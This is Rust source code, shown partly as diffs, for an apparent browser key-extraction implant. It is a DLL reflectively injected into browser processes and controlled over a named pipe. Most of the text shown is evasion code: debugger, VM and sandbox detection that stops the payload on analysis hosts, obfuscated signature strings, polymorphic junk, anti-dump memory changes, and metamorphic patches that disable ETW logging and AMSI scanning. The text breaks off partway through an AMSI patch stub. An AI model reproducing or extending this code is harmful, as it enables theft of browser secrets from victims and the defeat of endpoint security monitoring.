let (_, _, ecx, _) = cpuid(1, 0);
if ecx & (1 << 31) == 0 {
return false;
}
// Vendor string (12 bytes in EBX:EDX:ECX).
let (ebx, edx, ecx, _) = cpuid(0x4000_0000, 0);
let mut v = Vec::with_capacity(12);
for b in [ebx.to_le_bytes(), ecx.to_le_bytes(), edx.to_le_bytes()].iter().flatten() {
v.push(*b);
}
let vl = lower(&v);
let key: u8 = gen::K_VENDOR;
let bad: [(obf::Slot, u32); 7] = [
obf::sig(gen::K_VENDOR, 0x1001, b"vmware"), obf::sig(gen::K_VENDOR, 0x1002, b"virtualbox"),
obf::sig(gen::K_VENDOR, 0x1003, b"kvm"), obf::sig(gen::K_VENDOR, 0x1004, b"qemu"),
obf::sig(gen::K_VENDOR, 0x1005, b"xen"), obf::sig(gen::K_VENDOR, 0x1006, b"vbox"),
obf::sig(gen::K_VENDOR, 0x1007, b"microsoft h"),
];
const LENS: [usize; 7] = [6, 10, 3, 4, 3, 4, 11];
bad.iter().enumerate().any(|(i, s)| {
let plain = obf::dec_sig(key, s, LENS[i]);
contains(&vl, &plain[..LENS[i]])
})
}
/// SMBIOS firmware string table search.
unsafe fn smbios_firmware() -> bool {
const RSMB: u32 = 0x5253_4D42; // 'RSMB'
let size = dynapi::GetSystemFirmwareTable(RSMB, 0, ptr::null_mut(), 0);
if size == 0 || size > 4 * 1024 * 1024 {
return false;
}
let mut buf = vec![0u8; size as usize];
let got = dynapi::GetSystemFirmwareTable(RSMB, 0, buf.as_mut_ptr() as *mut c_void, size);
if got == 0 {
return false;
}
buf.truncate(got as usize);
let bl = lower(&buf);
let key: u8 = gen::K_SMBIOS;
let bad: [(obf::Slot, u32); 6] = [
obf::sig(gen::K_SMBIOS, 0x2001, b"vmware"), obf::sig(gen::K_SMBIOS, 0x2002, b"virtualbox"),
obf::sig(gen::K_SMBIOS, 0x2003, b"qemu"), obf::sig(gen::K_SMBIOS, 0x2004, b"kvm"),
obf::sig(gen::K_SMBIOS, 0x2005, b"innotek"), obf::sig(gen::K_SMBIOS, 0x2006, b"bochs"),
];
const LENS: [usize; 6] = [6, 10, 4, 3, 7, 5];
bad.iter().enumerate().any(|(i, s)| {
let plain = obf::dec_sig(key, s, LENS[i]);
contains(&bl, &plain[..LENS[i]])
})
}
/// Ask the OS for key system facts and probe for VM-typical characteristics.
unsafe fn gather_system_quirks() -> bool {
// Low total RAM (< 2GB) is common in thin sandboxes.
let mut ms = MemStatusEx {
dw_length: std::mem::size_of::<MemStatusEx>() as u32,
dw_memory_load: 0,
ull_total_phys: 0,
ull_avail_phys: 0,
ull_total_page_file: 0,
ull_avail_page_file: 0,
ull_total_virtual: 0,
ull_avail_virtual: 0,
ull_avail_extended_virtual: 0,
};
if abi::GlobalMemoryStatusEx(&mut ms as *mut _ as *mut c_void) != 0 {
if ms.ull_total_phys > 0 && ms.ull_total_phys < 2 * 1024 * 1024 * 1024 {
return true;
}
}
// A single-core / single-thread CPU is a common VM giveaway.
#[repr(C)]
#[derive(Clone, Copy)]
struct SysInfo {
processor_arch: u16,
page_size: u32,
min_app_addr: usize,
max_app_addr: usize,
active_processor_mask: usize,
num_processors: u32,
processor_type: u32,
alloc_granularity: u32,
processor_level: u16,
processor_revision: u16,
}
let mut si: SysInfo = unsafe { std::mem::zeroed() };
abi::GetSystemInfo(&mut si as *mut _ as *mut c_void);
if si.num_processors <= 1 {
return true;
}
false
}
// ---------------------------------------------------------------------------
// Anti-analyze / sandbox
// ---------------------------------------------------------------------------
unsafe fn process_scan() -> bool {
const TH32CS_SNAPPROCESS: u32 = 0x2;
let snap = abi::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if snap == 0 || snap == abi::INVALID_HANDLE_VALUE {
return false;
}
#[repr(C)]
struct PROCESSENTRY32W {
dw_size: u32,
cnt_usage: u32,
th32_process_id: u32,
th32_default_heap_id: usize,
th32_module_id: u32,
cnt_threads: u32,
th32_parent_process_id: u32,
pc_pri_class_base: i32,
dw_flags: u32,
sz_exe_file: [u16; 260],
}
let mut entry: PROCESSENTRY32W = unsafe { std::mem::zeroed() };
entry.dw_size = std::mem::size_of::<PROCESSENTRY32W>() as u32;
// Tool-name signatures, XOR keystream so they don't sit in plaintext.
let key: u8 = gen::K_TOKEN;
let tools: [(obf::Slot, u32); 10] = [
obf::sig(gen::K_TOKEN, 0x3001, b"x64dbg"), obf::sig(gen::K_TOKEN, 0x3002, b"ollydbg"),
obf::sig(gen::K_TOKEN, 0x3003, b"windbg"), obf::sig(gen::K_TOKEN, 0x3004, b"ida"),
obf::sig(gen::K_TOKEN, 0x3005, b"procmon"), obf::sig(gen::K_TOKEN, 0x3006, b"procmon64"),
obf::sig(gen::K_TOKEN, 0x3007, b"vmtoolsd"), obf::sig(gen::K_TOKEN, 0x3008, b"wireshark"),
obf::sig(gen::K_TOKEN, 0x3009, b"tcpview"), obf::sig(gen::K_TOKEN, 0x300a, b"fiddler"),
];
const LENS: [usize; 10] = [6, 7, 6, 3, 7, 9, 8, 9, 7, 7];
let mut found = false;
if abi::Process32FirstW(snap, &mut entry as *mut _ as *mut c_void) != 0 {
loop {
let mut name = Vec::with_capacity(520);
for ch in entry.sz_exe_file.iter() {
if *ch == 0 {
break;
}
name.push(*ch as u8);
}
let nl = lower(&name);
for (i, s) in tools.iter().enumerate() {
let plain = obf::dec_sig(key, s, LENS[i]);
if contains(&nl, &plain[..LENS[i]]) {
found = true;
break;
}
}
if found {
break;
}
if abi::Process32NextW(snap, &mut entry as *mut _ as *mut c_void) != 0 {
break;
}
}
}
abi::CloseHandle(snap);
found
}
/// Probe the running environment for analyst/sandbox environment variables.
/// A handful of well-known sandbox marker variables are checked; if any non-empty
/// value is set the environment is treated as suspicious.
unsafe fn env_probe() -> bool {
let key: u8 = gen::K_ENV;
let mut out = [0u16; 512];
// Names are XOR-encrypted so they don't sit in plaintext.
let names: [(obf::Slot, u32); 4] = [
obf::sig(gen::K_ENV, 0x4001, b"SBIX"), obf::sig(gen::K_ENV, 0x4002, b"VIRTUALIZATION"),
obf::sig(gen::K_ENV, 0x4003, b"ANALYSIS"), obf::sig(gen::K_ENV, 0x4004, b"DYNT_AMBER"),
];
const LENS: [usize; 4] = [4, 13, 8, 10];
for (i, s) in names.iter().enumerate() {
let raw = obf::dec_sig(key, s, LENS[i]);
let mut nm: Vec<u16> = raw[..LENS[i]].iter().map(|&c| c as u16).collect();
nm.push(0);
let got = abi::GetEnvironmentVariableW(nm.as_ptr(), out.as_mut_ptr(), 512);
if got > 0 && got < 512 {
return true;
}
}
false
}
// ---------------------------------------------------------------------------
// Anti-dump / memory hardening
// ---------------------------------------------------------------------------
#[repr(C)]
#[derive(Clone, Copy)]
struct MemoryBasicInfo {
base_address: *mut c_void,
allocation_base: *mut c_void,
allocation_protect: u32,
region_size: usize,
state: u32,
protect: u32,
_type: u32,
}
const MEM_COMMIT: u32 = 0x1000;
const PAGE_EXECUTE_READWRITE: u32 = 0x40;
const PAGE_EXECUTE_WRITECOPY: u32 = 0x80;
/// Detect a call stack that originates from a suspicious module (a dumper / EDR
/// hooking common APIs often leaves its DLL on the stack). Heuristic: count how
/// many distinct allocation regions are RWX — a process holding many RWX regions
/// is either self-modifying or under an active memory scanner.
unsafe fn suspicious_memory_maps() -> bool {
let mut info: MemoryBasicInfo = std::mem::zeroed();
let mut addr: usize = 0;
let mut rwx: u32 = 0;
while addr < usize::MAX - 16 {
let got = abi::VirtualQuery(
addr as *const c_void,
&mut info as *mut _ as *mut c_void,
std::mem::size_of::<MemoryBasicInfo>(),
);
if got == 0 {
break;
}
if info.state == MEM_COMMIT {
let prot = info.protect & 0xFF;
if prot == PAGE_EXECUTE_READWRITE || prot == PAGE_EXECUTE_WRITECOPY {
rwx += 1;
}
}
// Advance to next region; a zero-size region means stop.
let next = info.base_address as usize + info.region_size;
if next <= addr {
break;
}
addr = next;
}
// A healthy process rarely exceeds this; a debugger/dumper allocating scratch
// RWX regions will. Keep the threshold high to avoid false positives.
rwx >= 6
}
/// Sweep committed pages and downgrade any writable+executable regions to
/// EXECUTE_READ, so a bulk memory dumper (which snapshots RWX areas) cannot
/// trivially read back a hot section. Uses the runtime-resolved VirtualProtect
/// (hash walk) so the guard doesn't import it statically.
unsafe fn harden_image() -> bool {
let mut info: MemoryBasicInfo = std::mem::zeroed();
let mut addr: usize = 0;
let mut anomaly = false;
let mut down: u32 = 0;
while addr < usize::MAX - 16 {
let got = abi::VirtualQuery(
addr as *const c_void,
&mut info as *mut _ as *mut c_void,
std::mem::size_of::<MemoryBasicInfo>(),
);
if got == 0 {
break;
}
if info.state == MEM_COMMIT {
let prot = info.protect & 0xFF;
if prot == PAGE_EXECUTE_READWRITE || prot == PAGE_EXECUTE_WRITECOPY {
anomaly = true;
if apires::dyn_downgrade_rwx(info.base_address, info.region_size) {
down += 1;
}
}
}
let next = info.base_address as usize + info.region_size;
if next <= addr {
break;
}
addr = next;
}
let _ = down;
anomaly
}
/// Block the process from being dumped by a debugger using a debug-flag lock.
/// Uses the *runtime resolved* NtQueryInformationProcess (hash walk), not the
/// static import, so the guard doesn't declare this API in its PE imports.
unsafe fn prevent_dump() -> bool {
// ProcessDebugFlags (info class 0x1f) — flags == 0 means the process is
// being debugged at the kernel level.
match apires::dyn_query_debug_flags() {
Some(flags) => flags == 0,
None => false,
}
}
/// Check whether ntdll syscall stubs have been hot-patched by an EDR/sandbox.
unsafe fn hooks_detected() -> bool {
antihook::detect_hooks()
}
/// Detect a virtual/OEM display by sampling the primary monitor's refresh rate.
/// Virtual display drivers (RDP, headless VMs, remote desktops) commonly report
/// a refresh rate far below a physical panel. If the refresh rate is at or below
/// the supplied ceiling, the environment is treated as virtual.
///
/// `dmDisplayFrequency` lives at a fixed offset in DEVMODEW (176 on x64) — we
/// allocate a wide buffer and read that offset directly, avoiding the layout
/// pitfalls of the huge union in the real struct.
unsafe fn low_refresh_display(ceiling_hz: u32) -> bool {
let mut dm = [0u8; 240];
let ok = dynapi::EnumDisplaySettingsW(
ptr::null(),
abi::ENUM_CURRENT_SETTINGS,
dm.as_mut_ptr() as *mut c_void,
);
if ok == 0 {
return false;
}
// DEVMODEW.dmDisplayFrequency offset (x64): 176. dmSize / dmDriverExtra at
// +68/+70 tell us how big the returned structure is; only trust the field if
// the driver confirmed at least that far.
let dm_size = *(dm.as_ptr().add(68) as *const u16) as usize;
if dm_size < 176 {
return false;
}
let freq = *(dm.as_ptr().add(176) as *const u32);
freq != 0 && freq <= ceiling_hz
}
/// Scan attached display devices for a known virtual driver name (RDP / generic
/// Microsoft basic display). Encrypted signature so it isn't plaintext.
unsafe fn virtual_display_driver() -> bool {
// A fixed-size probe device record: we only need the DeviceString up to the
// first NUL, offset 0 in DISPLAY_DEVICEW (DeviceName at +0, DeviceString at
// +32). Read via a raw buffer.
let scan: [(obf::Slot, u32); 5] = [
obf::sig(gen::K_DISPLAY, 0x5001, b"remote display"), obf::sig(gen::K_DISPLAY, 0x5002, b"rdp"),
obf::sig(gen::K_DISPLAY, 0x5003, b"basic display"), obf::sig(gen::K_DISPLAY, 0x5004, b"remote"),
obf::sig(gen::K_DISPLAY, 0x5005, b"virtual display"),
];
const LENS: [usize; 5] = [14, 3, 13, 6, 15];
let mut i = 0u32;
while i < 8 {
let mut buf = [0u16; 256]; // DEVICEW fields, we only read DeviceString at +32
let ok = dynapi::EnumDisplayDevicesW(ptr::null(), i, buf.as_mut_ptr() as *mut _ as *mut c_void, 0);
if ok == 0 {
break;
}
let mut name: Vec<u8> = Vec::with_capacity(256);
for ch in buf.iter().skip(32).take(120) {
if *ch == 0 {
break;
}
name.push(*ch as u8);
}
let nl = lower(&name);
for (idx, s) in scan.iter().enumerate() {
let plain = obf::dec_sig(gen::K_DISPLAY, s, LENS[idx]);
if contains(&nl, &plain[..LENS[idx]]) {
return true;
}
}
i += 1;
}
false
}
// ---------------------------------------------------------------------------
// Score + decision
// ---------------------------------------------------------------------------
/// Run the full battery. `true` = environment looks hostile → do not start the
/// payload. Score thresholds keep false positives low on clean hosts.
pub fn run() -> bool {
// Initialize syscall numbers and sleep encryption early
unsafe {
syscall::init_syscall_numbers();
sleep::init_sleep_key();
}
let mut score: u32 = 0;
let seed = flow::run_time_nonce();
// Per-build polymorphic junk injected into the entry path so the emitted
// bytes (and thus the artifact hash) differ on every build.
flow::junk();
flow::opaque_choice(seed, || { let _ = flow::branch_tag(); }, || { let _ = seed; });
// Windows-only signchecks; everything here is x64 Windows.
unsafe {
// --- anti-debug (wrapped in an opaque dispatch so a static analyzer
// can't cleanly pick a side; both arms are cheap) ---
flow::opaque_choice(seed, || {
// --- anti-debug ---
if peb_being_debugged() {
score += 3;
}
if peb_nt_global_flag() {
score += 3;
}
if nt_debug_port() {
score += 3;
}
if remote_debugger_present() {
score += 2;
}
if !timing_sane() {
score += 2;
}
}, || {});
// --- anti-VM (comprehensive, 16 vectors) ---
// The antivm module aggregates: CPUID bit + vendor, CPU brand string,
// VMware backdoor port, SIDT/SLDT red pills, SMBIOS strings, registry
// artifacts, filesystem artifacts, MAC OUI prefixes, uptime anomaly,
// process count, user-input absence, VM DLLs, tool windows, disk
// labels. It returns a cumulative score; map it onto ours with weight.
let avm = antivm::score();
if avm >= 6 {
score += 5; // overwhelming evidence of virtualization
} else if avm >= 3 {
score += 3; // strong signals
} else if avm >= 1 {
score += 1; // weak/noisy signals only
}
// Legacy direct checks kept as independent confirmation:
if cpu_hypervisor() {
score += 2;
}
if smbios_firmware() {
score += 1;
}
if gather_system_quirks() {
score += 2;
}
// --- anti-analyze / sandbox (reliability-focused, corroborated) ---
// The antisbx module uses a tiered model:
// hard: Sleep acceleration / timer tampering — conclusive alone
// strong: identity markers, empty desktop — rare on real machines
// weak: quiet mouse, few windows — only counted with corroboration
let sbx = antisbx::verdict(6, 250);
if sbx.hard {
score += 6; // physically impossible on a clean host
}
if sbx.score >= 6 {
score += 4; // multiple corroborated strong signals
} else if sbx.score >= 3 {
score += 2;
} else if sbx.score >= 1 {
score += 1;
}
// --- legacy direct checks ---
if process_scan() {
score += 3;
}
if env_probe() {
score += 2;
}
// --- anti-dump / memory hardening ---
if suspicious_memory_maps() {
score += 3;
}
let _ = harden_image(); // runs regardless; only scores via maps above
if prevent_dump() {
score += 3;
}
// --- anti-hook (EDR / sandbox hot-patch detection) ---
if hooks_detected() {
score += 3;
}
// --- anti-VM via display refresh signature ---
// 45 Hz and below: virtual/remote display drivers report this; a physical
// panel is almost never ≤ 45 Hz. Also scan for known virtual driver names.
if low_refresh_display(45) {
score += 3;
}
if virtual_display_driver() {
score += 2;
}
}
// Threshold: a handful of independent signals means it's an analysis box.
score >= 4
}
/// Second-opinion sandbox check intended to be called by the worker thread
/// after its first sleep cycle. Sandbox artifacts (accelerated sleeps,
/// absent user input) become more pronounced over time; transient noise
/// fades. Returns `true` if the environment now looks like a sandbox —
/// the caller should then wind down / exit.
pub fn recheck_sandbox() -> bool {
flow::junk();
let v = antisbx::verify_second_pass();
v.hard || v.score >= 3
}
@@ -0,0 +1,61 @@
//! recovery-key-extractor — Rust port of the injected browser key extractor.
//!
//! On DLL_PROCESS_ATTACH the DLL reads the `RECOVERY_PIPE` environment
//! variable and spawns a worker thread that services `KEY:`/`READ:`/`EXIT`
//! commands over that named pipe. The DLL is reflectively mapped into the
//! browser process by the Go injector, which starts a thread on the exported
//! `ReflectiveLoader` entry point; that loader (see `reflective.rs`) maps the
//! image, resolves imports and relocations, and finally invokes `DllMain`.
#![allow(clippy::missing_safety_doc)]
#![allow(non_snake_case)]
mod abi;
mod antihook;
mod antisbx;
mod antivm;
mod apires;
mod dynapi;
mod flow;
mod gen;
mod guard;
mod obf;
mod patch;
mod payload;
mod reflective;
mod sleep;
mod syscall;
use core::ffi::c_void;
const DLL_PROCESS_ATTACH: u32 = 1;
#[unsafe(no_mangle)]
pub extern "system" fn DllMain(h_instance: *mut c_void, reason: u32, reserved: *mut c_void) -> i32 {
if reason == DLL_PROCESS_ATTACH {
unsafe {
let _ = abi::DisableThreadLibraryCalls(h_instance as usize);
}
// Guard first: if the environment looks like a debugger / VM / sandbox /
// analysis box, refuse to run the payload. Only spawn the worker on a
// clean host.
if guard::run() {
return 1;
}
// Defense patches: ETW silence, AMSI neuter, instrumentation-callback
// clear. Applied via direct syscalls; wrapped in junk to break
// signature alignment at DllMain.
flow::junk();
let _ = patch::apply_all();
payload::on_attach(reserved as *const u16);
}
1
}
/// Reflective loader entry point. The Go injector resolves this export by name
/// and starts a thread on it inside the target process.
#[unsafe(no_mangle)]
#[inline(never)]
pub extern "system" fn ReflectiveLoader(lpParameter: usize) -> usize {
reflective::loader_impl(lpParameter)
}
@@ -0,0 +1,91 @@
//! Strong string obfuscation: position-dependent XOR keystream with per-string
//! nonces and compile-time entropy.
//!
//! Unlike a single fixed-XOR, every byte is combined with its own keystream
//! byte derived from `key`, `index`, and a nonce through a 4-round Feistel
//! avalanche, so the ciphertext carries no repeating pattern and a plaintext
//! signature never survives in `.rodata`.
//!
//! The encode happens at compile time in `const` context; the decode runs at
//! runtime on the stack, and only the materialized buffer ever exists in memory
//! briefly. Keystream is invertible so encode == decode.
//!
//! API:
//! - `sig(key, nonce, plain)` → `(Slot, nonce)` bundle at compile time
//! - `dec_sig(key, sig, len)` → plaintext buffer at runtime
/// Maximum supported string length (covers all current use cases).
pub const MAX_LEN: usize = 64;
/// Fixed-width encrypted slot.
pub type Slot = [u8; MAX_LEN];
/// Keystream byte using a 4-round Feistel-style avalanche so nearby positions
/// and similar keys/nonces produce wildly different output.
///
/// The avalanche constants are folded with per-build values from `gen` so the
/// keystream arithmetic *itself* differs between artifacts — a scanner cannot
/// decrypt `.rodata` slots with the published constant set.
#[inline(always)]
const fn ks_byte(key: u8, i: usize, nonce: u32) -> u8 {
// Per-build mix: changes every artifact's ciphertext AND the algorithm's
// emitted arithmetic, breaking cross-sample signatures.
let s = crate::gen::GEN_SEED ^ crate::gen::CFF_KEY;
let m1 = 0x9E37_79B9u32 ^ (crate::gen::GEN_SEED & 0xFFFF);
let m2 = 0x5D58_85A9u32 ^ ((crate::gen::CFF_KEY >> 16) & 0xFFFF);
let m3 = 0x7F4A_7C15u32 ^ (crate::gen::GEN_SEED >> 16);
let m4 = 0x85EBCA6Bu32 ^ (crate::gen::CFF_KEY & 0xFFFF);
let mut x = (key as u32)
.wrapping_add((i as u32).wrapping_mul(m1))
.wrapping_add(nonce)
.wrapping_add(i as u32)
.wrapping_add(s);
// Round 1
x ^= x >> 13;
x = x.wrapping_mul(m2);
// Round 2
x ^= x >> 16;
x = x.wrapping_mul(m3);
// Round 3
x ^= x << 7;
x = x.wrapping_mul(m1 ^ 0x7F4A_7C15);
// Round 4
x ^= x >> 11;
x = x.wrapping_mul(m4);
(x & 0xFF) as u8
}
/// Compile-time encrypt `plain` into a `Slot` (zeros beyond `len`).
pub const fn enc(key: u8, nonce: u32, plain: &[u8]) -> Slot {
let mut out = [0u8; MAX_LEN];
let mut i = 0;
while i < plain.len() && i < MAX_LEN {
out[i] = plain[i] ^ ks_byte(key, i, nonce);
i += 1;
}
out
}
/// A signature bundled with its own keystream nonce, so encryption and
/// decryption always agree no matter where the list is defined.
pub const fn sig(key: u8, nonce: u32, plain: &[u8]) -> (Slot, u32) {
(enc(key, nonce, plain), nonce)
}
/// Decrypt a `(Slot, nonce)` signature to `len` bytes.
pub fn dec_sig(key: u8, s: &(Slot, u32), len: usize) -> [u8; MAX_LEN] {
dec(key, s.1, &s.0, len)
}
/// Runtime decrypt a `Slot` in place, returning the plaintext (up to `len`).
pub fn dec(key: u8, nonce: u32, slot: &Slot, len: usize) -> [u8; MAX_LEN] {
let mut out = [0u8; MAX_LEN];
let n = len.min(MAX_LEN);
for i in 0..n {
out[i] = slot[i] ^ ks_byte(key, i, nonce);
}
out
}
@@ -0,0 +1,483 @@
//! Userland defense patches: ETW, AMSI, instrumentation callbacks.
//!
//! All memory modifications go through our own direct-syscall
//! NtProtectVirtualMemory — never the hooked kernel32 path.
//!
//! Modern (2023+) evasion notes:
//! - **Fixed byte-stubs are dead.** `xor eax,eax; ret` on EtwEventWrite and
//! the classic 14-byte AmsiScanBuffer stub are public, signature-scanned
//! patterns. Every stub here is *metamorphic*: several functionally
//! identical templates with different register allocation / encodings,
//! selected per-build from `gen`, so the patched bytes never match a
//! published signature.
//! - **Layer, don't rely on one target.** AMSI: AmsiScanBuffer (primary)
//! + AmsiOpenSession (sessions fail). ETW: EtwEventWrite (primary) +
//! EtwEventEnabled→FALSE (providers think they're disabled) + NtTraceEvent
//! (deep cut) + EtwEventRegister (silent success).
//! - **Sleep-evasion.** Memory-scanning EDRs inspect code sections while the
//! implant sleeps. We restore original bytes before `secure_sleep` and
//! re-apply afterwards (`suspend_all`/`resume_all`).
#![allow(dead_code)]
use core::arch::asm;
use core::ffi::c_void;
use core::ptr;
use crate::apires;
use crate::flow;
use crate::gen;
use crate::syscall;
use crate::syscall::{r as unmask, HASH_KEY};
// Verified ror-hashes (stored XORed with HASH_KEY; unmasked via syscall::r).
use crate::syscall::{
HASH_AMSI_SCAN_BUFFER,
HASH_ETW_EVENT_WRITE,
HASH_ETW_EVENT_REGISTER,
HASH_NTTRACE_EVENT,
HASH_MODULE_AMSI,
};
// ror-hash of "AmsiOpenSession" (0xF27C009B) / "EtwEventEnabled" (0x93C4008A).
const HASH_AMSI_OPEN_SESSION: u32 = 0xF27C_009B ^ HASH_KEY;
const HASH_ETW_EVENT_ENABLED: u32 = 0x93C4_008A ^ HASH_KEY;
const PAGE_EXECUTE_READWRITE: u32 = 0x40;
const PAGE_EXECUTE_READ: u32 = 0x20;
// ---------------------------------------------------------------------------
// Patch bookkeeping (for sleep-evasion restore)
// ---------------------------------------------------------------------------
/// Saved original bytes of each patched site so they can be restored.
struct PatchSite {
addr: usize,
len: usize,
original: [u8; 32],
/// true once the original bytes have been captured (survives suspend).
primed: bool,
/// true while our stub is currently applied.
active: bool,
}
static mut SITES: [PatchSite; 8] = [
PatchSite { addr: 0, len: 0, original: [0; 32], primed: false, active: false },
PatchSite { addr: 0, len: 0, original: [0; 32], primed: false, active: false },
PatchSite { addr: 0, len: 0, original: [0; 32], primed: false, active: false },
PatchSite { addr: 0, len: 0, original: [0; 32], primed: false, active: false },
PatchSite { addr: 0, len: 0, original: [0; 32], primed: false, active: false },
PatchSite { addr: 0, len: 0, original: [0; 32], primed: false, active: false },
PatchSite { addr: 0, len: 0, original: [0; 32], primed: false, active: false },
PatchSite { addr: 0, len: 0, original: [0; 32], primed: false, active: false },
];
static mut SITE_NEXT: usize = 0;
/// Find an existing site for `addr` (survives suspend/resume cycles), else
/// reserve a fresh slot.
unsafe fn find_or_alloc_site(addr: usize, len: usize) -> Option<usize> {
for i in 0..SITES.len() {
if SITES[i].addr == addr {
return Some(i);
}
}
let mut slot = SITE_NEXT;
for _ in 0..SITES.len() {
let s = &mut SITES[slot];
if s.addr == 0 {
s.addr = addr;
s.len = len;
SITE_NEXT = (slot + 1) % SITES.len();
return Some(slot);
}
slot = (slot + 1) % SITES.len();
}
None
}
/// Capture the pristine bytes the first time a site is patched. On later
/// resume cycles the originals are already stored, so this is skipped.
unsafe fn snapshot(slot: usize) {
let s = &mut SITES[slot];
if s.primed {
return;
}
for i in 0..s.len.min(32) {
s.original[i] = ptr::read_volatile((s.addr + i) as *const u8);
}
s.primed = true;
}
/// Write bytes to a (code) address, flipping protection via direct syscall.
/// Optionally records the site for later restore.
unsafe fn patch_memory(addr: usize, bytes: &[u8], save_for_restore: bool) -> bool {
if addr == 0 {
return false;
}
let mut slot: Option<usize> = None;
if save_for_restore {
slot = find_or_alloc_site(addr, bytes.len());
if let Some(s) = slot {
snapshot(s);
SITES[s].active = true;
}
}
let mut base = addr as *mut c_void;
let mut size = bytes.len();
let mut old: u32 = 0;
let st = syscall::sys_nt_protect_virtual_memory(
abi_current_process(),
&mut base,
&mut size,
PAGE_EXECUTE_READWRITE,
&mut old,
);
if st != 0 {
if let Some(s) = slot {
SITES[s].active = false;
}
return false;
}
ptr::copy_nonoverlapping(bytes.as_ptr(), addr as *mut u8, bytes.len());
let mut tmp: u32 = 0;
let _ = syscall::sys_nt_protect_virtual_memory(
abi_current_process(),
&mut base,
&mut size,
old.max(PAGE_EXECUTE_READ),
&mut tmp,
);
flush_icache(addr, bytes.len());
true
}
#[inline]
unsafe fn flush_icache(_addr: usize, _len: usize) {
asm!("lfence", options(nostack, preserves_flags));
}
#[inline]
fn abi_current_process() -> usize {
usize::MAX // (HANDLE)-1 pseudo-handle
}
/// Restore all recorded patch sites to their original bytes and mark them
/// inactive (so resume_all can re-patch from the stored originals).
pub unsafe fn suspend_all() {
for i in 0..SITES.len() {
let s = &SITES[i];
if s.active && s.addr != 0 {
let mut base = s.addr as *mut c_void;
let mut size = s.len;
let mut old: u32 = 0;
if syscall::sys_nt_protect_virtual_memory(
abi_current_process(), &mut base, &mut size,
PAGE_EXECUTE_READWRITE, &mut old,
) == 0
{
ptr::copy_nonoverlapping(s.original.as_ptr(), s.addr as *mut u8, s.len);
let mut tmp: u32 = 0;
let _ = syscall::sys_nt_protect_virtual_memory(
abi_current_process(), &mut base, &mut size,
old.max(PAGE_EXECUTE_READ), &mut tmp,
);
flush_icache(s.addr, s.len);
SITES[i].active = false;
}
}
}
}
/// Re-apply the recorded patches after waking from sleep. Reuses the stored
/// pristine snapshots (sites matched by address in find_or_alloc_site), so
/// each patch lands on its original bytes and stays restorable.
pub unsafe fn resume_all() {
apply_saved();
}
/// Re-runs the individual patchers; each finds its existing site by address.
fn apply_saved() {
unsafe {
let _ = patch_etw_saved();
let _ = patch_etw_deep_saved();
let _ = patch_amsi_saved();
let _ = patch_amsi_opensession_saved();
}
}
// ---------------------------------------------------------------------------
// Metamorphic stub selection
// ---------------------------------------------------------------------------
/// Per-build variant index derived from gen constants (not the function's own
/// address so the choice is stable across a single artifact but unique per
/// build).
fn variant(a: u32) -> usize {
let v = gen::JUNK_VARIANT as u32;
let t = (gen::OPAQUE_TAG as u32).wrapping_mul(0x9E37_79B9);
(v.wrapping_add(t >> 24) % a) as usize
}
// ---------------------------------------------------------------------------
// 1. ETW patch — EtwEventWrite (primary)
// ---------------------------------------------------------------------------
/// Metamorphic no-op stubs for EtwEventWrite — all return STATUS_SUCCESS(0)
/// and are 3-7 bytes of genuinely different encodings.
fn etw_event_write_stub() -> &'static [u8] {
match variant(6) {
0 => &[0x33, 0xC0, 0xC3], // xor eax,eax ; ret
1 => &[0x31, 0xC0, 0xC3], // xor eax,eax (alt) ; ret
2 => &[0x48, 0x31, 0xC0, 0xC3], // xor rax,rax ; ret
3 => &[0xB8, 0x00, 0x00, 0x00, 0x00, 0xC3], // mov eax,0 ; ret
4 => &[0x33, 0xC0, 0x90, 0xC3], // xor eax,eax ; nop ; ret
_ => &[0x55, 0x48, 0x89, 0xE5, 0x31, 0xC0, 0x5D, 0xC3], // push rbp; mov rbp,rsp; xor eax,eax; pop rbp; ret
}
}
/// Metamorphic stubs for EtwEventEnabled — return FALSE(0).
fn etw_event_enabled_stub() -> &'static [u8] {
match variant(4) {
0 => &[0x33, 0xC0, 0xC3],
1 => &[0x31, 0xC0, 0xC3],
2 => &[0x48, 0x31, 0xC0, 0xC3],
_ => &[0xB8, 0x00, 0x00, 0x00, 0x00, 0xC3],
}
}
fn etw_register_stub() -> &'static [u8] {
match variant(3) {
0 => &[0x33, 0xC0, 0xC3],
1 => &[0x31, 0xC0, 0xC3],
_ => &[0xB8, 0x00, 0x00, 0x00, 0x00, 0xC3],
}
}
/// Patch ntdll!EtwEventWrite → polymorphic no-op.
pub fn patch_etw() -> bool {
unsafe { patch_etw_saved() }
}
unsafe fn patch_etw_saved() -> bool {
let ntdll = apires::ntdll_base();
if ntdll == 0 {
return false;
}
let target = apires::export_by_hash_public(ntdll, unmask(HASH_ETW_EVENT_WRITE));
if target == 0 {
return false;
}
patch_memory(target, etw_event_write_stub(), true)
}
/// Patch ntdll!EtwEventEnabled → returns FALSE, so every provider's
/// "is this enabled?" check fails and the fast-path skips emission.
pub fn patch_etw_eventenabled() -> bool {
unsafe {
let ntdll = apires::ntdll_base();
if ntdll == 0 {
return false;
}
let target = apires::export_by_hash_public(ntdll, unmask(HASH_ETW_EVENT_ENABLED));
if target == 0 {
return false;
}
patch_memory(target, etw_event_enabled_stub(), true)
}
}
/// Deeper ETW cut: NtTraceEvent + EtwEventRegister.
pub fn patch_etw_deep() -> bool {
unsafe { patch_etw_deep_saved() }
}
unsafe fn patch_etw_deep_saved() -> bool {
let ntdll = apires::ntdll_base();
if ntdll == 0 {
return false;
}
let mut ok = true;
let trace = apires::export_by_hash_public(ntdll, unmask(HASH_NTTRACE_EVENT));
if trace != 0 {
ok &= patch_memory(trace, etw_event_write_stub(), true);
}
let reg = apires::export_by_hash_public(ntdll, unmask(HASH_ETW_EVENT_REGISTER));
if reg != 0 {
ok &= patch_memory(reg, etw_register_stub(), true);
}
ok
}
// ---------------------------------------------------------------------------
// 2. AMSI patch
// ---------------------------------------------------------------------------
/// Metamorphic AmsiScanBuffer stubs: write AMSI_RESULT_CLEAN(0) into arg6
/// (result ptr at [rsp+0x30]) and return S_OK(0). Each variant uses distinct
/// registers/encodings so no published signature matches the patch bytes.
fn amsi_scan_stub() -> &'static [u8] {
// Deliberately avoids the classic published 14-byte stub
// (`31 C0 49 8B 5C 24 30 45 31 DB 45 89 1B C3`) — that exact byte run is a
// documented AMSI-patch signature. Every variant here uses a different
// register/encoding so no artifact ships a known-signature byte sequence.
match variant(5) {
0 => &[
0x48, 0x8B, 0x4C, 0x24, 0x30, // mov rcx,[rsp+0x30] result ptr
0x33, 0xC0, // xor eax,eax S_OK
